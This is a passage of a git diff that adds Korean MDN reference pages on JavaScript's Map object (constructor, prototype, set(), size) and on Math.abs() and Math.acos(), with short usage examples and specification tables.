+<p><code>Map</code> 객체는 요소의 삽입 순서대로 원소를 순회합니다. {{jsxref("Statements/for...of", "for...of")}} 반복문은 각 순회에서 <code>[key, value]</code>로 이루어진 배열을 반환합니다.</p>
+
+<h3 id="키_동일성">키 동일성</h3>
+
+<ul>
+ <li>키 동일성은 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness#등가0_같음"><code>sameValueZero</code></a> 알고리즘에 기반합니다.</li>
+ <li><code>NaN !== NaN</code>이지만, 그럼에도 <code>NaN</code>은 <code>NaN</code>과 일치한다고 간주하며, 다른 모든 값은 <code>===</code> 연산자의 결과를 따릅니다.</li>
+ <li>현 ECMAScript 명세는 <code>-0</code>과 <code>+0</code>을 같은 값으로 처리하지만 초기 명세에서는 그렇지 않았습니다. {{anch("브라우저 호환성")}}의 "<em>Key equality for -0 and 0</em>"을 참고하세요.</li>
+</ul>
+
+<h3 id="jsxrefObject와_Map_비교">{{jsxref("Object")}}와 <code>Map</code> 비교</h3>
+
+<p>{{jsxref("Object")}}는 값에 키를 할당할 수 있고, 그 키로 값을 얻을 수 있고, 키를 삭제할 수 있으며 어떤 키에 값이 존재하는지 확인할 수 있다는 점에서 <code>Map</code>과 유사합니다. 이런 이유에 더해, 이전에는 내장된 대체제가 없었기 때문에, <code>Object</code>를 <code>Map</code> 대신 사용하곤 했습니다.</p>
+
+<p>그러나 어떤 상황에선, <code>Map</code>을 선호해야 할 몇 가지 중요한 차이점이 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row"></th>
+ <th scope="col"><code>Map</code></th>
+ <th scope="col"><code>Object</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">의도치 않은 키</th>
+ <td><code>Map</code>은 명시적으로 제공한 키 외에는 어떤 키도 가지지 않습니다.</td>
+ <td>
+ <p><code>Object</code>는 프로토타입을 가지므로 기본 키가 존재할 수 있습니다. 주의하지 않으면 직접 제공한 키와 충돌할 수도 있습니다.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> ES5부터, 프로토타입으로 인한 키 충돌은 {{jsxref("Object.create", "Object.create(null)")}}로 해결할 수 있지만, 실제로 쓰이는 경우는 적습니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">키 자료형</th>
+ <td><code>Map</code>의 키는 함수, 객체 등을 포함한 모든 값이 가능합니다.</td>
+ <td><code>Object</code>의 키는 반드시 {{jsxref("String")}} 또는 {{jsxref("Symbol")}}이어야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">키 순서</th>
+ <td>
+ <p><code>Map</code>의 키는 정렬됩니다. 따라서 <code>Map</code>의 순회는 삽입순으로 이뤄집니다.</p>
+ </td>
+ <td>
+ <p><code>Object</code>의 키는 정렬되지 않습니다.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>참고:</strong> ECMAScript 201 이후로, 객체도 문자열과 <code>Symbol</code> 키의 생성 순서를 유지합니다. ECMEScript 2015 명세를 준수하는 JavaScript 엔진에서 문자열 키만 가진 객체를 순회하면 삽입 순을 따라갑니다.</p>
+ </div>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">크기</th>
+ <td><code>Map</code>의 항목 수는 {{jsxref("Map.prototype.size", "size")}} 속성을 통해 쉽게 알아낼 수 있습니다.</td>
+ <td><code>Object</code>의 항목 수는 직접 알아내야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">순회</th>
+ <td><code>Map</code>은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols">순회 가능</a>하므로, 바로 순회할 수 있습니다.</td>
+ <td><code>Object</code>를 순회하려면 먼저 모든 키를 알아낸 후, 그 키의 배열을 순회해야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">성능</th>
+ <td>잦은 키-값 쌍의 추가와 제거에서 더 좋은 성능을 보입니다.</td>
+ <td>잦은 키-값 쌍의 추가와 제거를 위한 최적화가 없습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Map.Map", "Map()")}}</dt>
+ <dd>새로운 <code>Map</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>값이 0인 속성입니다.<br>
+ 요소의 수는 {{jsxref("Map.prototype.size")}}로 알아낼 수 있습니다.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>파생 객체를 생성하는데 사용하는 생성자 함수입니다.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd><code>Map</code> 생성자의 프로토타입을 나타냅니다. 모든 <code>Map</code> 인스턴스에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Map_인스턴스"><code>Map</code> 인스턴스</h2>
+
+<p>모든 <code>Map</code> 인스턴스는 {{jsxref("Map.prototype")}}을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map_객체_사용하기"><code>Map</code> 객체 사용하기</h3>
+
+<pre class="brush: js">let myMap = new Map()
+
+let keyString = '문자열'
+let keyObj = {}
+let keyFunc = function() {}
+
+// 값 설정
+myMap.set(keyString, "'문자열'과 관련된 값")
+myMap.set(keyObj, 'keyObj와 관련된 값')
+myMap.set(keyFunc, 'keyFunc와 관련된 값')
+
+myMap.size // 3
+
+// getting the values
+myMap.get(keyString) // "'문자열'과 관련된 값"
+myMap.get(keyObj) // "keyObj와 관련된 값"
+myMap.get(keyFunc) // "keyFunc와 관련된 값"
+
+myMap.get('문자열') // "'문자열'과 관련된 값"
+ // keyString === '문자열'이기 때문
+myMap.get({}) // undefined, keyObj !== {}
+myMap.get(function() {}) // undefined, keyFunc !== function () {}</pre>
+
+<h3 id="Map의_키로_NaN_사용하기"><code>Map</code>의 키로 <code>NaN</code> 사용하기</h3>
+
+<p>{{jsxref("NaN")}}도 키로서 사용할 수 있습니다. 모든 <code>NaN</code>은 자기 자신과 동일하지 않지만(<code>NaN !== NaN</code>), <code>NaN</code>을 서로 구분할 수도 없기 때문에 아래 예제도 잘 동작합니다.</p>
+
+<pre class="brush: js">let myMap = new Map()
+myMap.set(NaN, 'not a number')
+
+myMap.get(NaN)
+// "not a number"
+
+let otherNaN = Number('foo')
+myMap.get(otherNaN)
+// "not a number"</pre>
+
+<h3 id="for..of로_Map_순회하기"><code>for..of</code><font face="Open Sans, arial, sans-serif">로 </font><code>Map</code> 순회하기</h3>
+
+<p><code>Map</code>은 <code>for..of</code> 반복문을 사용해 순회할 수 있습니다.</p>
+
+<pre class="brush: js">let myMap = new Map()
+myMap.set(0, 'zero')
+myMap.set(1, 'one')
+
+for (let [key, value] of myMap) {
+ console.log(key + ' = ' + value)
+}
+// 0 = zero
+// 1 = one
+
+for (let key of myMap.keys()) {
+ console.log(key)
+}
+// 0
+// 1
+
+for (let value of myMap.values()) {
+ console.log(value)
+}
+// zero
+// one
+
+for (let [key, value] of myMap.entries()) {
+ console.log(key + ' = ' + value)
+}
+// 0 = zero
+// 1 = one</pre>
+
+<h3 id="forEach로_Map_순회하기"><code>forEach()</code>로 <code>Map</code> 순회하기</h3>
+
+<p><code>Map</code>은 {{jsxref("Map.prototype.forEach", "forEach()")}} 메서드로 순회할 수 있습니다.</p>
+
+<pre class="brush: js">myMap.forEach(function(value, key) {
+ console.log(key + ' = ' + value)
+})
+// 0 = zero
+// 1 = one</pre>
+
+<h3 id="Array_객체와의_관계"><code>Array</code> 객체와의 관계</h3>
+
+<pre class="brush: js">let kvArray = [['key1', 'value1'], ['key2', 'value2']]
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+let myMap = new Map(kvArray)
+
+myMap.get('key1') // returns "value1"
+
+// Use Array.from() to transform a map into a 2D key-value Array
+console.log(Array.from(myMap)) // Will show you exactly the same Array as kvArray
+
+// A succinct way to do the same, using the spread syntax
+console.log([...myMap])
+
+// Or use the keys() or values() iterators, and convert them to an array
+console.log(Array.from(myMap.keys())) // ["key1", "key2"]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/map/index.html b/files/ko/web/javascript/reference/global_objects/map/map/index.html
new file mode 100644
index 0000000000..012772eec5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/map/index.html
@@ -0,0 +1,60 @@
+---
+title: Map() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Map/Map
+tags:
+ - Constructor
+ - JavaScript
+ - Map
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/Map
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Map()</code> 생성자</strong>는 {{jsxref("Map")}} 객체를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Map([<var>iterable</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><var>iterable</var></code></dt>
+ <dd>요소가 키-값 쌍인, {{jsxref("Array")}} 또는 다른 순회 가능한 객체(예: <code>[[1, 'one'], [2, 'two']]</code>). 각 키-값 쌍은 새로운 <code>Map</code>에 포함됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let myMap = new Map([
+ [1, 'one'],
+ [2, 'two'],
+ [3, 'three'],
+])
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map-constructor', 'Map constructor')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.Map")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/prototype/index.html b/files/ko/web/javascript/reference/global_objects/map/prototype/index.html
new file mode 100644
index 0000000000..633d2c785e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Map.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Map/prototype
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Map</strong></code><strong><code>.prototype</code></strong> property는 {{jsxref("Map")}}의 프로토 타입을 나타낸다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>{{jsxref("Map")}} instance는 {{jsxref("Map.prototype")}}를 상속한다. Constructor의 프로토타입에 property와 method를 추가함으로써 모든 <code>Map</code> 인스턴스에서 사용 가능하게끔 만들 수 있다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만드는 함수를 반환한다. 이것 {{jsxref("Map")}} 함수의 기본 값이다.</dd>
+ <dt>{{jsxref("Map.prototype.size")}}</dt>
+ <dd><code>Map</code> 객체에 들어있는 key/value pair의 수를 반환한다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Map.prototype.clear()")}}</dt>
+ <dd><code>Map</code> 객체의 모든 key/value pair를 제거한다.</dd>
+ <dt>{{jsxref("Map.delete", "Map.prototype.delete(key)")}}</dt>
+ <dd>주어진 키(Key)와 해당되는 값(Value)를 제거하고 제거하기 전에 <code>Map.prototype.has(key)가 반환했던 값을 반환한다.</code> 그 후의 <code>Map.prototype.has(key)<font face="Open Sans, arial, sans-serif">는 </font></code><code>false를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.prototype.entries()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 요소들을 <strong><code>[key, value] 형태의 </code>array </strong>로 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd><code>Map</code> 객체 안에 존재하는 각각의 key/value pair에 집어넣은 순서대로 callbackFn을 부른다. 만약 thisArg 매개변수가 제공되면, 이것이 각 callback의 this 값으로 사용된다.</dd>
+ <dt>{{jsxref("Map.get", "Map.prototype.get(key)")}}</dt>
+ <dd>주어진 키(Key)에 해당되는 값(value)을 반환하고, 만약 없으면 <code>undefined를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.has", "Map.prototype.has(key)")}}</dt>
+ <dd><code>Map 객체 안에 주어진 </code>key/value pair가 있는지 검사하고 Boolean 값을 반환한다.</dd>
+ <dt>{{jsxref("Map.prototype.keys()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 <strong>키(Key)</strong>들을 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.set", "Map.prototype.set(key, value)")}}</dt>
+ <dd><code>Map 객체에 주어진 키</code>(Key)에 값(Value)를 집어넣고, <code>Map 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.prototype.values()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 <strong>값</strong><strong>(Value)</strong>들을 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+ <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt>
+ <dd><code>Map</code> 객체 안의 모든 요소들을 <strong><code>[key, value] 형태의 </code>array </strong>로 집어넣은 순서대로 가지고 있는 <code>Iterator 객체를 반환한다.</code></dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.builtins.Map.prototype")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/set/index.html b/files/ko/web/javascript/reference/global_objects/map/set/index.html
new file mode 100644
index 0000000000..a6c5afb140
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/set/index.html
@@ -0,0 +1,96 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/Map/set
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>set()</strong></code> 메서드는 Map 객체에서 주어진 키를 가진 요소를 추가하고, 키의 요소가 이미 있다면 대체합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.set(<em>key</em>, <em>value</em>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code>에 추가하거나 변경할 요소의 키.</dd>
+ <dt><code>value</code></dt>
+ <dd><code>Map</code>에 추가하거나 변경할 요소의 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>호출한 <code>Map</code> 객체.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="set()_사용하기"><code>set()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+// Add new elements to the map
+myMap.set('bar', 'foo');
+myMap.set(1, 'foobar');
+
+// Update an element in the map
+myMap.set('bar', 'baz');
+</pre>
+
+<h3 id="set()_체이닝"><code>set()</code> 체이닝</h3>
+
+<p><code>set()</code>이 같은 <code>Map</code>을 반환하므로 메서드를 여러 번 연속해서 호출할 수 있습니다.</p>
+
+<pre class="brush: js">// Add new elements to the map with chaining.
+myMap.set('bar', 'foo')
+ .set(1, 'foobar')
+ .set(2, 'baz');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/size/index.html b/files/ko/web/javascript/reference/global_objects/map/size/index.html
new file mode 100644
index 0000000000..371d8b3110
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/size/index.html
@@ -0,0 +1,62 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Map/size
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>size</strong></code> 접근자 프로퍼티는  {{jsxref("Map")}} 객체의 요소 갯수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>size</code> 값은 얼마나 많은 엔트리를 <code>Map</code> 객체가 가지고 있는지를 표현합니다. <code>size</code> 를 설정할 수 있는 접근자 함수는 <code>undefined</code> 입니다. 당신은 이 프로퍼티를 변경할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_size">Using <code>size</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('a', 'alpha');
+myMap.set('b', 'beta');
+myMap.set('g', 'gamma');
+
+myMap.size // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.size")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/abs/index.html b/files/ko/web/javascript/reference/global_objects/math/abs/index.html
new file mode 100644
index 0000000000..c66172647d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/abs/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Global_Objects/Math/abs
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math.abs()</code></strong> 함수는 주어진 숫자의 절대값을 반환합니다.</span> 즉,</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ -x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-abs.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Math.abs(<var>x</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자의 절대값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>abs()</code>는 <code>Math</code>의 정적 메서드이므로, 사용자가 생성한 <code>Math</code> 객체의 메서드로 호출할 수 없고 항상 <code>Math.abs()</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.abs()의_작동_방식"><code>Math.abs()</code>의 작동 방식</h3>
+
+<p>빈 객체, 하나 이상의 요소를 가진 배열, 숫자가 아닌 문자열, {{jsxref("undefined")}}나 빈 매개변수를 받으면 {{jsxref("NaN")}}을 반환합니다. {{jsxref("null")}}, 빈 문자열이나 빈 배열을 제공하면 0을 반환합니다.</p>
+
+<pre class="brush: js" dir="rtl">Math.abs('-1'); // 1
+Math.abs(-2); // 2
+Math.abs(null); // 0
+Math.abs(''); // 0
+Math.abs([]); // 0
+Math.abs([2]); // 2
+Math.abs([1,2]); // NaN
+Math.abs({}); // NaN
+Math.abs('string'); // NaN
+Math.abs(); // NaN
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.abs")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/acos/index.html b/files/ko/web/javascript/reference/global_objects/math/acos/index.html
new file mode 100644
index 0000000000..83cc67d786
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/acos/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Reference/Global_Objects/Math/acos
+tags:
+ - JavaScript
+ - Math
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.acos()</code></strong> 함수는 주어진 수의 아크코사인 값을 숫자(라디안)로 반환합니다. 즉,</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-acos.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>각도를 나타내는 라디안.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>-1과 1 사이의 값이 주어진 경우, 그 값의 아크코사인. 아닐 경우 {{jsxref("NaN")}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>The <code>Math.acos()</code> method returns a numeric value between 0 and π radians for <code>x</code> between -1 and 1. If the value of <code>x</code> is outside this range, it returns {{jsxref("NaN")}}.</p>
+
+<p>Because <code>acos()</code> is a static method of <code>Math</code>, you always use it as <code>Math.acos()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Using_Math.acos()">Using <code>Math.acos()</code></h3>
+
+<pre class="brush: js">Math.acos(-2); // NaN
+Math.acos(-1); // 3.141592653589793
+Math.acos(0); // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1); // 0
+Math.acos(2); // NaN
+</pre>
+
+<p>For values less than -1 or greater than 1, <code>Math.acos()</code> returns {{jsxref("NaN")}}.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.acos")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
